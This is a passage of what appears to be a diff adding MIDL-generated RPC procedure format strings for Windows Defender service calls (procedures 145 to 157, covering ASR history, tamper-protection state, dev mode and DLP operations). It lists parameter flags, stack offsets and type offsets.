0x0, /* 0 */ + + /* Return value */ + +/* 8060 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8062 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8064 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc145_ServerMpRpcDeleteAsrHistory */ + +/* 8066 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8068 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8072 */ NdrFcShort( 0x91 ), /* 145 */ +/* 8074 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8076 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8078 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8080 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8082 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8084 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 8086 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8088 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8090 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8092 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8094 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8096 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8098 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8100 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8102 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8104 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8106 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc146_ServerMpGetTaskSchedulerStrings */ + +/* 8108 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8110 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8114 */ NdrFcShort( 0x92 ), /* 146 */ +/* 8116 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8118 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8120 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8122 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8124 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8126 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x3, /* 3 */ +/* 8128 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8130 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8132 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8134 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8136 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8138 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 8140 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8142 */ NdrFcShort( 0xb44 ), /* Type Offset=2884 */ + + /* Parameter arg_2 */ + +/* 8144 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8146 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8148 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8150 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8152 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8154 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc147_ServerMpRpcGetAsrBlockedActionInfos */ + +/* 8156 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8158 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8162 */ NdrFcShort( 0x93 ), /* 147 */ +/* 8164 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 8166 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8168 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8170 */ NdrFcShort( 0x54 ), /* 84 */ +/* 8172 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8174 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x7, /* 7 */ +/* 8176 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 8178 */ NdrFcShort( 0x1 ), /* 1 */ +/* 8180 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8182 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8184 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8186 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 8188 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8190 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 8192 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8194 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8196 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8198 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8200 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8202 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 8204 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8206 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8208 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 8210 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 8212 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8214 */ NdrFcShort( 0xb5a ), /* Type Offset=2906 */ + + /* Parameter arg_6 */ + +/* 8216 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8218 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8220 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8222 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8224 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8226 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc148_ServerMpRpcGetTPStateInfo */ + +/* 8228 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8230 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8234 */ NdrFcShort( 0x94 ), /* 148 */ +/* 8236 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8238 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8240 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8242 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8244 */ NdrFcShort( 0x54 ), /* 84 */ +/* 8246 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 8248 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8250 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8252 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8254 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8256 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8258 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 8260 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8262 */ NdrFcShort( 0xb92 ), /* Type Offset=2962 */ + + /* Parameter arg_2 */ + +/* 8264 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8266 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8268 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8270 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8272 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8274 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc149_ServerMpRpcSetTPState */ + +/* 8276 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8278 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8282 */ NdrFcShort( 0x95 ), /* 149 */ +/* 8284 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8286 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8288 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8290 */ NdrFcShort( 0x8 ), /* 8 */ +/* 8292 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8294 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 8296 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8298 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8300 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8302 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8304 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8306 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8308 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8310 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8312 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8314 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8316 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8318 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8320 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8322 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc150_ServerMpRpcUpdateDevMode */ + +/* 8324 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8326 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8330 */ NdrFcShort( 0x96 ), /* 150 */ +/* 8332 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8334 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8336 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8338 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8340 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8342 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 8344 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8346 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8348 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8350 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8352 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8354 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8356 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8358 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8360 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8362 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8364 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8366 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8368 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8370 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc151_ServerMpRpcGetDevMode */ + +/* 8372 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8374 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8378 */ NdrFcShort( 0x97 ), /* 151 */ +/* 8380 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8382 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8384 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8386 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8388 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8390 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 8392 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8394 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8396 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8398 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8400 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8402 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8404 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8406 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8408 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8410 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8412 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8414 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8416 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8418 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc152_ServerMpUpdateBreakTheGlassStatus */ + +/* 8420 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8422 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8426 */ NdrFcShort( 0x98 ), /* 152 */ +/* 8428 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8430 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8432 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8434 */ NdrFcShort( 0x8 ), /* 8 */ +/* 8436 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8438 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 8440 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8442 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8444 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8446 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8448 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8450 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8452 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8454 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8456 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 8458 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8460 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 8462 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 8464 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8466 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_4 */ + +/* 8468 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8470 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8472 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8474 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8476 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8478 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc153_ServerMpNetworkCapture */ + +/* 8480 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8482 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8486 */ NdrFcShort( 0x99 ), /* 153 */ +/* 8488 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8490 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8492 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8494 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8496 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8498 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 8500 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8502 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8504 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8506 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8508 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8510 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 8512 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8514 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 8516 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8518 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8520 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8522 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8524 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8526 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc154_ServerMpConveyDlpBypass */ + +/* 8528 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8530 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8534 */ NdrFcShort( 0x9a ), /* 154 */ +/* 8536 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8538 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8540 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8542 */ NdrFcShort( 0x8 ), /* 8 */ +/* 8544 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8546 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 8548 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8550 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8552 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8554 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8556 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8558 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8560 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8562 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8564 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8566 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8568 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_3 */ + +/* 8570 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8572 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8574 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 8576 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8578 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8580 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 8582 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8584 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8586 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8588 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8590 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8592 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc155_ServerDlpMpCheckAccessForPrintOperation */ + +/* 8594 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8596 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8600 */ NdrFcShort( 0x9b ), /* 155 */ +/* 8602 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 8604 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8606 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8608 */ NdrFcShort( 0x20 ), /* 32 */ +/* 8610 */ NdrFcShort( 0x40 ), /* 64 */ +/* 8612 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x9, /* 9 */ +/* 8614 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8616 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8618 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8620 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8622 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8624 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8626 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8628 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 8630 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8632 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8634 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8636 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8638 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8640 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 8642 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8644 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8646 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 8648 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8650 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8652 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_6 */ + +/* 8654 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8656 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8658 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 8660 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8662 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8664 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_8 */ + +/* 8666 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8668 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 8670 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8672 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8674 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 8676 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc156_ServerDlpMpConveyNewPrinterConnection */ + +/* 8678 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8680 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8684 */ NdrFcShort( 0x9c ), /* 156 */ +/* 8686 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8688 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8690 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8692 */ NdrFcShort( 0x8 ), /* 8 */ +/* 8694 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8696 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 8698 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8700 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8702 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8704 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8706 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8708 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8710 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8712 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_2 */ + +/* 8714 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8716 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8718 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_3 */ + +/* 8720 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8722 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8724 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 8726 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8728 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 8730 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 8732 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 8734 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 8736 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 8738 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 8740 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 8742 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc157_ServerMpShowDlpDetailsDialog */ + +/* 8744 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 8746 */ NdrFcLong( 0x0 ), /* 0 */ +/* 8750 */ NdrFcShort( 0x9d ), /* 157 */ +/* 8752 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 8754 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 8756 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 8758 */ NdrFcShort( 0x10 ), /* 16 */ +/* 8760 */ NdrFcShort( 0x24 ), /* 36 */ +/* 8762 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 8764 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 8766 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8768 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8770 */ NdrFcShort( 0x0 ), /* 0 */ +/* 8772 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 8774 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8776 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 8778 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_2 */ + +/* 8780 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 8782 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 8784 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 8786 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 8788 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 8790 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_4 */ + +/* 